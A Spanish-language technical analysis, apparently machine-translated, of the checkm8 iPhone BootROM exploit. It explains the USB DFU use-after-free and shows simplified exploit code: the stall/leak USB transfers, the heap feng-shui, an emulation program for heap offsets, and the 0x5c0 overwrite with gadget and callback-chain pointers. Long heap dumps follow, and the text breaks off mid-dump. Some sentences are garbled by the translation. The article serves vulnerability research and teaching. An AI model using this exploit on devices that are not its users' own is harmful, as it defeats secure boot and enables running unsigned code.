Lo más probable es que ya hayas escuchado sobre el famoso exploit checkm8 , que utiliza una vulnerabilidad no reparable en el BootROM de la mayoría de los iDevices, incluido el iPhone X En este artículo, proporcionaremos un análisis técnico de este exploit y descubriremos qué causa la vulnerabilidad.
Puedes leer la versión rusa aquí .
Introduccion
Primero, describamos brevemente el proceso de arranque de un iDevice y el papel que desempeña BootROM (también SecureROM como SecureROM ). Puede encontrar información detallada al respecto aquí . Así es como se ve el arranque:
Cuando se enciende el dispositivo, BootROM se ejecuta primero. Sus tareas principales son:
- Inicialización de plataforma (se instalan los registros de plataforma necesarios, se inicializa la
CPU , etc.) - Verificación y transferencia de control a la siguiente etapa.
BootROM admite el análisis de imágenes IMG3/IMG4BootROM tiene acceso a la clave GID para descifrar imágenes- Para la verificación de imágenes,
BootROM tiene una clave pública de Apple incorporada y la funcionalidad criptográfica necesaria
- Restaure el dispositivo si no es posible iniciar más (
Device Firmware Update , DFU ).
BootROM tiene un tamaño muy pequeño y se puede llamar una versión ligera de iBoot , ya que comparten la mayor parte del sistema y el código de la biblioteca. Aunque, a diferencia de iBoot , BootROM no se puede actualizar. Se coloca en la memoria interna de solo lectura cuando se fabrica un dispositivo. BootROM es la raíz de confianza de hardware de la cadena de arranque segura. BootROM vulnerabilidades de BootROM pueden permitir que un atacante controle el proceso de arranque y ejecute código sin firmar en un dispositivo.
La historia de checkm8
El exploit checkm8 fue agregado a ipwndfu por su autor axi0mX el 27 de septiembre de 2019. Al mismo tiempo, anunció la actualización en Twitter y proporcionó una descripción e información adicional sobre el exploit. Según el hilo, encontró la vulnerabilidad de use-after-free del código USB mientras parcheaba iBoot para iOS 12 beta en el verano de 2018.
BootROM e iBoot comparten la mayor parte de su código, incluido USB , por lo que esta vulnerabilidad también es relevante para BootROM .
Como se deduce del código del exploit, la vulnerabilidad se explota en DFU . Este es un modo en el que se puede transferir una imagen firmada a un dispositivo a través de USB que se iniciará más adelante. Por ejemplo, esto puede ser útil para restaurar un dispositivo después de una actualización fallida.
El mismo día, el usuario littlelailo dijo que había encontrado esa vulnerabilidad en marzo y publicó una descripción en apollo.txt . La descripción correspondía con checkm8 , aunque no todos los detalles del exploit quedan claros al leerlo. Es por eso que decidimos escribir este artículo y describir todos los detalles de la explotación hasta la ejecución de la carga útil en BootROM .
Basamos nuestro análisis del exploit en los recursos mencionados anteriormente y en el código fuente de iBoot/SecureROM , que se filtró en febrero de 2018. También utilizamos los datos que obtuvimos de los experimentos realizados en nuestro dispositivo de prueba, iPhone 7 ( CPID:8010 ) Usando checkm8 , obtuvimos los volcados de SecureROM y SecureRAM , que también fueron útiles para el análisis.
Información necesaria sobre USB
Dado que la vulnerabilidad está en el código USB , es necesario comprender cómo funciona esta interfaz. Las especificaciones completas se pueden encontrar en https://www.usb.org/ , pero es una lectura larga. Para nuestros propósitos, USB en un NutShell es más que suficiente. Aquí, mencionaremos solo los puntos más relevantes.
Existen varios tipos de transferencia de datos USB . En DFU , solo se usa el modo Control Transfers (lea más sobre esto aquí ). En este modo, cada transacción tiene 3 etapas:
Setup Stage : se envía un paquete de SETUP ; tiene los siguientes campos:
bmRequestType : define la dirección de la solicitud, su tipo y el destinatariobRequest : define la solicitud que se realizaráwValue , wIndex : se interpretan según la solicitudwLength : especifica la longitud de los datos enviados / recibidos en Data Stage
Data Stage : una etapa opcional de transferencia de datos. Dependiendo del paquete de SETUP enviado durante la Setup Stage , los datos pueden enviarse desde el host al dispositivo ( OUT ) o viceversa ( IN ). Los datos se envían en pequeñas porciones (en el caso de Apple DFU , son 0x40 bytes).
- Cuando un host quiere enviar otra porción de datos, envía un token
OUT y luego los datos en sí. - Cuando un host está listo para recibir datos de un dispositivo, envía un token
IN al dispositivo.
Status Stage : la última etapa; Se informa el estado de toda la transacción.
- Para solicitudes
OUT , el host envía un token IN al que el dispositivo debe responder con un paquete de longitud cero. - Para solicitudes
IN , el host envía un token OUT y un paquete de longitud cero.
El siguiente esquema muestra las solicitudes OUT e IN . ACK , NACK y otros paquetes de apretón de manos a propósito, ya que no son importantes para la explotación en sí.
Análisis de apollo.txt
Comenzamos el análisis con la vulnerabilidad de apollo.txt . El documento describe el algoritmo del modo DFU :
https://gist.github.com/littlelailo/42c6a11d31877f98531f6d30444f59c4
- Cuando usb se inicia para obtener una imagen sobre dfu, dfu registra una interfaz para manejar todos los comandos y asigna un búfer para entrada y salida
- si envía datos a dfu, el paquete de configuración es manejado por el código principal que luego llama al código de interfaz
- el código de interfaz verifica que wLength es más corto que la longitud del búfer de entrada y salida y, si ese es el caso, actualiza un puntero pasado como argumento con un puntero al búfer de entrada y salida
- luego devuelve wLength, que es la longitud que desea recibir en el búfer
- el código principal usb luego actualiza una var global con la longitud y se prepara para recibir los paquetes de datos
- Si se recibe un paquete de datos, se escribe en el búfer de entrada y salida a través del puntero que se pasó como argumento y se usa otra variable global para realizar un seguimiento de cuántos bytes ya se recibieron.
- si se recibieron todos los datos, se vuelve a llamar al código específico de dfu y luego se copia el contenido del búfer de entrada y salida en la ubicación de memoria desde donde se inicia la imagen más tarde
- después de eso, el código usb restablece todas las variables y pasa a tener nuevos paquetes
- si sale dfu, se libera el búfer de entrada y salida y si falla el análisis de la imagen, bootrom vuelve a entrar dfu
Primero, verificamos estos pasos contra el código fuente de iBoot . No podemos usar los fragmentos del código filtrado aquí, así que usaremos el pseudocódigo que obtuvimos de la ingeniería inversa del SecureROM de nuestro iPhone7 en IDA . Puede encontrar fácilmente el código fuente de iBoot y navegarlo.
Cuando se inicializa DFU , se asigna un búfer de IO y se registra una interfaz USB para procesar las solicitudes a DFU :
Cuando entra el paquete SETUP de una solicitud a DFU llama a un controlador de interfaz adecuado. Para solicitudes OUT (por ejemplo, cuando se envía una imagen), en caso de ejecución exitosa, el controlador debe devolver la dirección del búfer de IO para la transacción, así como la longitud de los datos que espera recibir. Ambos valores se almacenan en variables globales.
La siguiente captura de pantalla muestra el controlador de interfaz DFU . Si una solicitud es correcta, se devuelve la dirección del búfer IO asignado durante la inicialización de DFU y la longitud de datos esperada del paquete SETUP .
Durante la Data Stage , cada porción de datos se escribe en el búfer de IO , y luego la dirección del búfer de IO se compensa y el contador recibido se actualiza. Cuando se reciben todos los datos esperados, se llama al controlador de datos de la interfaz y se borra el estado global de la transacción.
En el controlador de datos DFU , los datos recibidos se mueven al área de memoria desde la cual se cargarán más tarde. Basado en el código fuente de iBoot , esta área en dispositivos Apple se llama INSECURE_MEMORY .
Cuando el dispositivo sale del modo DFU , se libera el búfer de IO asignado previamente. Si la imagen se adquirió con éxito en el modo DFU , se verificará y se iniciará. Si hubo algún error o fue imposible iniciar la imagen, la DFU se inicializará nuevamente y todo el proceso se repetirá desde el principio.
El algoritmo descrito tiene una vulnerabilidad de use-after-free . Si enviamos un paquete de SETUP al momento de cargar la imagen y completamos la Data Stage omisión de transacción, el estado global permanecerá inicializado durante el próximo ciclo de DFU , y podremos escribir en la dirección del búfer de IO asignado durante el período anterior iteración de DFU .
Ahora que sabemos cómo funciona use-after-free , la pregunta es, ¿cómo podemos sobrescribir algo durante la próxima iteración de la DFU ? Antes de otra inicialización de la DFU , todos los recursos asignados previamente se liberan y la asignación de memoria en una nueva iteración tiene que ser exactamente la misma. Al final resultó que, hay otro error interesante de pérdida de memoria que permite explotar el use-after-free .
Análisis de checkm8
Vayamos a checkm8 sí. En aras de la demostración, utilizaremos una versión simplificada del exploit para iPhone 7 , donde sacamos todo el código relacionado con otras plataformas y cambiamos el orden y los tipos de solicitudes USB sin dañar su funcionalidad. También nos deshicimos del proceso de construcción de una carga útil, que se puede encontrar en el archivo original, checkm8.py . Es fácil detectar las diferencias entre las versiones para otros dispositivos.
El funcionamiento de checkm8 tiene varias etapas:
- Montón de feng-shui
- Asignación y liberación del búfer
IO sin borrar el estado global - Sobrescribir
usb_device_io_request en el montón con use-after-free - Colocando la carga útil
- Ejecución de
callback-chain - Ejecución de
shellcode
Veamos todas las etapas en detalle.
1. Montón de feng-shui
Creemos que es la etapa más interesante, por lo que pasaremos más tiempo describiéndola.
stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device)
Esta etapa es necesaria para organizar el montón de una manera que sea beneficiosa para la explotación del use-after-free . Primero, consideremos las llamadas stall , leak , no_leak :
def stall(device): libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001) def leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1) def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1)
libusb1_no_error_ctrl_transfer es un contenedor para device.ctrlTransfer ignorando todas las excepciones que surgen durante la ejecución de una solicitud. libusb1_async_ctrl_transfer es un contenedor para la función libusb_submit_transfer de libusb para la ejecución asincrónica de una solicitud.
Los siguientes parámetros se pasan a estas llamadas:
- Número de dispositivo
- Datos para el paquete de
SETUP (aquí puede encontrar la descripción ):
bmRequestTypebRequestwValuewIndex
- Longitud de datos (
wLength ) o datos para la Data Stage - Solicitar tiempo de espera
Los argumentos bmRequestType , bRequest , wValue y wIndex se comparten entre los tres tipos de solicitud:
bmRequestType = 0x80
0b1XXXXXXX : dirección de la Data Stage de Data Stage (dispositivo a host)0bX00XXXXX - tipo de solicitud estándar0bXXX00000 - el dispositivo es el destinatario de la solicitud
bRequest = 6 - solicitud para obtener un descriptor ( GET_DESCRIPTOR )wValue = 0x304
wValueHigh = 0x3 - define el tipo del descriptor - cadena ( USB_DT_STRING )wValueLow = 0x4 : el índice del descriptor de cadena, 4, corresponde al número de serie del dispositivo (en este caso, la cadena es CPID:8010 CPRV:11 CPFM:03 SCEP:01 BDID:0C ECID:001A40362045E526 IBFL:3C SRTG:[iBoot-2696.0.0.1.33] )
wIndex = 0x40A : la wIndex = 0x40A del idioma de la cadena, cuyo valor no es relevante para la explotación y puede modificarse.
Para cualquiera de estas solicitudes, se asignan 0x30 bytes en el montón para un objeto de la siguiente estructura:
Los campos más interesantes de este objeto son callback y next .
callback es el puntero a la función que se llamará cuando se realiza la solicitud.next es el puntero al siguiente objeto del mismo tipo; Es necesario para organizar la cola de solicitudes.
La característica clave de la stall es su uso de la ejecución asíncrona de una solicitud con un tiempo de espera mínimo. Por eso, si tenemos suerte, la solicitud se cancelará en el nivel del sistema operativo y permanecerá en la cola de ejecución, y la transacción no se completará. Además, el dispositivo continuará recibiendo todos los próximos paquetes de SETUP y los colocará, cuando sea necesario, en la cola de ejecución. Más tarde, al experimentar con el controlador USB en Arduino , descubrimos que para una explotación exitosa necesitamos que el host envíe un paquete de SETUP y un token IN , después de lo cual la transacción debe cancelarse debido al tiempo de espera. Esta transacción incompleta se ve así:
Además de eso, las solicitudes solo difieren en longitud en una unidad. Para solicitudes estándar, hay una callback estándar que se ve así:
El valor de io_length es igual al mínimo de wLength en el paquete SETUP la solicitud y la longitud original del descriptor solicitado. Debido a que el descriptor es bastante largo, podemos controlar el valor de io_length dentro de su longitud. El valor de g_setup_request.wLength es igual al valor de wLength del último paquete SETUP . En este caso, es 0xC1 .
Por lo tanto, se completan las solicitudes formadas por la stall y leak llamadas, se cumple la condición en la función de callback del terminal y se llama a usb_core_send_zlp() . Esta llamada crea un paquete nulo (paquete zero-length-packet ) y lo agrega a la cola de ejecución. Esto es necesario para completar correctamente la transacción en la Status Stage .
La solicitud se completa llamando a la función usb_core_complete_endpoint_io . Primero, llama a la callback y luego libera la memoria de la solicitud. La solicitud se completa no solo cuando se completa toda la transacción, sino también cuando se restablece el USB . Cuando se recibe la señal para restablecer USB , se completarán todas las solicitudes en la cola de ejecución.
Al llamar selectivamente a usb_core_send_zlp() al pasar por la cola de ejecución y liberar las solicitudes después, podemos obtener suficiente control sobre el montón para la explotación de use-after-free . Primero, veamos el ciclo de limpieza de la solicitud:
Como puede ver, la cola se vacía, y usb_core_complete_endpoint_io ejecuta y completa las solicitudes canceladas. Las solicitudes asignadas por usb_core_send_zlp se colocan en ep->io_head . Una vez realizado el restablecimiento de USB , toda la información sobre el punto final será clara, incluidos los punteros io_head y io_tail , y las solicitudes de longitud cero permanecerán en el montón. Por lo tanto, podemos crear un pequeño fragmento en medio del montón. El siguiente esquema muestra cómo se hace:
En el montón de SecureROM , se SecureROM una nueva área de memoria desde el fragmento libre adecuado más pequeño. Al crear un pequeño fragmento libre utilizando el método descrito anteriormente, podemos controlar la asignación de memoria durante la inicialización del USB , incluida la asignación de io_buffer y las solicitudes.
Para tener una mejor comprensión de esto, veamos qué solicitudes al montón se realizan cuando se inicializa DFU . Durante el análisis del código fuente de iBoot y la ingeniería inversa de SecureROM , obtuvimos la siguiente secuencia:
- Asignación de varios descriptores de cadena
- 1.1.
Nonce (tamaño 234 ) - 1.2.
Manufacturer ( 22 ) - 1.3.
Product ( 62 ) - 1.4.
Serial Number ( 198 ) - 1.5.
Configuration string ( 62 )
- Asignaciones relacionadas con la creación de la tarea del controlador
USB
- 2.1. Estructura de tareas (
0x3c0 ) - 2.2. Pila de tareas (
0x1000 )
io_buffer ( io_buffer )
- Descriptores de configuración
- 4.1.
High-Speed ( 25 ) - 4.2.
Full-Speed ( 25 )
Luego, se asignan estructuras de solicitud. Si hay una pequeña porción en el montón, algunas asignaciones de la primera categoría irán allí, y todas las demás asignaciones se moverán. Por lo tanto, podremos desbordar usb_device_io_request haciendo referencia al búfer anterior. Se ve así:
Para calcular el desplazamiento necesario, simplemente emulamos todas las asignaciones enumeradas anteriormente y iBoot un poco el código fuente del montón iBoot .
Emulación de solicitudes al montón en DFU #include "heap.h" #include <stdio.h> #include <unistd.h> #include <sys/mman.h> #ifndef NOLEAK #define NOLEAK (8) #endif int main() { void * chunk = mmap((void *)0x1004000, 0x100000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); printf("chunk = %p\n", chunk); heap_add_chunk(chunk, 0x100000, 1); malloc(0x3c0); // alignment of the low order bytes of addresses in SecureRAM void * descs[10]; void * io_req[100]; descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); const int N = NOLEAK; void * task = malloc(0x3c0); void * task_stack = malloc(0x4000); void * io_buf_0 = memalign(0x800, 0x40); void * hs = malloc(25); void * fs = malloc(25); void * zlps[2]; for(int i = 0; i < N; i++) { io_req[i] = malloc(0x30); } for(int i = 0; i < N; i++) { if(i < 2) { zlps[i] = malloc(0x30); } free(io_req[i]); } for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_0); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 2; i++) { printf("zlps[%d] = %p\n", i, zlps[i]); } printf("**********\n"); for(int i = 0; i < 5; i++) { free(descs[i]); } free(task); free(task_stack); free(io_buf_0); free(hs); free(fs); descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); task = malloc(0x3c0); task_stack = malloc(0x4000); void * io_buf_1 = memalign(0x800, 0x40); hs = malloc(25); fs = malloc(25); for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_1); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 5; i++) { io_req[i] = malloc(0x30); printf("io_req[%d] = %p\n", i, io_req[i]); } printf("**********\n"); printf("io_req_off = %#lx\n", (int64_t)io_req[0] - (int64_t)io_buf_0); printf("hs_off = %#lx\n", (int64_t)hs - (int64_t)io_buf_0); printf("fs_off = %#lx\n", (int64_t)fs - (int64_t)io_buf_0); return 0; }
La salida del programa con 8 solicitudes en la etapa de heap feng-shui del heap feng-shui :
chunk = 0x1004000 descs[0] = 0x1004480 descs[1] = 0x10045c0 descs[2] = 0x1004640 descs[3] = 0x10046c0 descs[4] = 0x1004800 task = 0x1004880 task_stack = 0x1004c80 io_buf = 0x1008d00 hs = 0x1009540 fs = 0x10095c0 zlps[0] = 0x1009a40 zlps[1] = 0x1009640 ********** descs[0] = 0x10096c0 descs[1] = 0x1009800 descs[2] = 0x1009880 descs[3] = 0x1009900 descs[4] = 0x1004480 task = 0x1004500 task_stack = 0x1004900 io_buf = 0x1008980 hs = 0x10091c0 fs = 0x1009240 io_req[0] = 0x10092c0 io_req[1] = 0x1009340 io_req[2] = 0x10093c0 io_req[3] = 0x1009440 io_req[4] = 0x10094c0 ********** io_req_off = 0x5c0 hs_off = 0x4c0 fs_off = 0x540
Como puede ver, aparecerá otro usb_device_io_request en el desplazamiento de 0x5c0 desde el comienzo del búfer anterior, que corresponde al código del exploit:
t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain)
Puede verificar la validez de estas conclusiones analizando el estado actual del montón de SecureRAM , que obtuvimos con checkm8 . Para este propósito, escribimos un script simple que analiza el volcado del montón y enumera los fragmentos. Tenga en cuenta que durante el desbordamiento usb_device_io_request , parte de los metadatos se dañó, por lo que lo omitimos durante el análisis.
La salida del script con comentarios se puede encontrar debajo del spoiler. Puede ver que los bytes de bajo orden coinciden con los resultados de la emulación.
El resultado de analizar el montón en SecureRAM chunk at 0x4040 0x40 non-free 0x0 0 chunk at 0x4080 0x80 non-free 0x40 0 00000000: 00 41 1B 80 01 00 00 00 00 00 00 00 00 00 00 00 .A.............. 00000010: 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 ................ 00000020: FF 00 00 00 00 00 00 00 68 3F 08 80 01 00 00 00 ........h?...... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x4100 0x140 non-free 0x80 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4240 0x240 non-free 0x140 0 00000000: 68 6F 73 74 20 62 72 69 64 67 65 00 00 00 00 00 host bridge..... 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4480 // descs[4], conf string 0x80 non-free 0x240 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x4500 // task 0x400 non-free 0x80 0 00000000: 6B 73 61 74 00 00 00 00 E0 01 08 80 01 00 00 00 ksat............ 00000010: E8 83 08 80 01 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4900 // task stack 0x4080 non-free 0x400 0 00000000: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000010: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000020: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000030: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000040: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000050: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000060: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000070: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000080: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000090: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000A0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000B0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats chunk at 0x8980 // io_buf 0x840 non-free 0x4080 0 00000000: 63 6D 65 6D 63 6D 65 6D 00 00 00 00 00 00 00 00 cmemcmem........ 00000010: 10 00 0B 80 01 00 00 00 00 00 1B 80 01 00 00 00 ................ 00000020: EF FF 00 00 00 00 00 00 10 08 0B 80 01 00 00 00 ................ 00000030: 4C CC 00 00 01 00 00 00 20 08 0B 80 01 00 00 00 L....... ....... 00000040: 4C CC 00 00 01 00 00 00 30 08 0B 80 01 00 00 00 L.......0....... 00000050: 4C CC 00 00 01 00 00 00 40 08 0B 80 01 00 00 00 L.......@....... 00000060: 4C CC 00 00 01 00 00 00 A0 08 0B 80 01 00 00 00 L............... 00000070: 00 06 0B 80 01 00 00 00 6C 04 00 00 01 00 00 00 ........l....... 00000080: 00 00 00 00 00 00 00 00 78 04 00 00 01 00 00 00 ........x....... 00000090: 00 00 00 00 00 00 00 00 B8 A4 00 00 01 00 00 00 ................ 000000A0: 00 00 0B 80 01 00 00 00 E4 03 00 00 01 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 34 04 00 00 01 00 00 00 ........4....... chunk at 0x91c0 // hs config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x9240 // ls config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x92c0 0x80 non-free 0x0 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 6C CC 00 00 01 00 00 00 00 08 0B 80 01 00 00 00 l............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9340 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF C0 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 48 DE 00 00 01 00 00 00 C0 93 1B 80 01 00 00 00 H............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x93c0 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 94 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9440 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x94c0 0x180 non-free 0x80 0 00000000: E4 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9640 // zlps[1] 0x80 non-free 0x180 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x96c0 // descs[0], Nonce 0x140 non-free 0x80 0 00000000: EA 03 20 00 4E 00 4F 00 4E 00 43 00 3A 00 35 00 .. .NONC:.5. 00000010: 35 00 46 00 38 00 43 00 41 00 39 00 37 00 41 00 5.F.8.CA9.7.A. 00000020: 46 00 45 00 36 00 30 00 36 00 43 00 39 00 41 00 FE6.0.6.C.9.A. 00000030: 41 00 31 00 31 00 32 00 44 00 38 00 42 00 37 00 A.1.1.2.D.8.B.7. 00000040: 43 00 46 00 33 00 35 00 30 00 46 00 42 00 36 00 CF3.5.0.FB6. 00000050: 35 00 37 00 36 00 43 00 41 00 41 00 44 00 30 00 5.7.6.CAAD0. 00000060: 38 00 43 00 39 00 35 00 39 00 39 00 34 00 41 00 8.C.9.5.9.9.4.A. 00000070: 46 00 32 00 34 00 42 00 43 00 38 00 44 00 32 00 F.2.4.BC8.D.2. 00000080: 36 00 37 00 30 00 38 00 35 00 43 00 31 00 20 00 6.7.0.8.5.C.1. . 00000090: 53 00 4E 00 4F 00 4E 00 3A 00 42 00 42 00 41 00 SNON:.BBA 000000A0: 30 00 41 00 36 00 46 00 31 00 36 00 42 00 35 00 0.A.6.F.1.6.B.5. 000000B0: 31 00 37 00 45 00 31 00 44 00 33 00 39 00 32 00 1.7.E.1.D.3.9.2. chunk at 0x9800 // descs[1], Manufacturer 0x80 non-free 0x140 0 00000000: 16 03 41 00 70 00 70 00 6C 00 65 00 20 00 49 00 ..Apple .I. 00000010: 6E 00 63 00 2E 00 D6 D7 D8 D9 DA DB DC DD DE DF nc............ 00000020: E0 E1 E2 E3 E4 E5 E6 E7 E8 E9 EA EB EC ED EE EF ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9880 // descs[2], Product 0x80 non-free 0x80 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 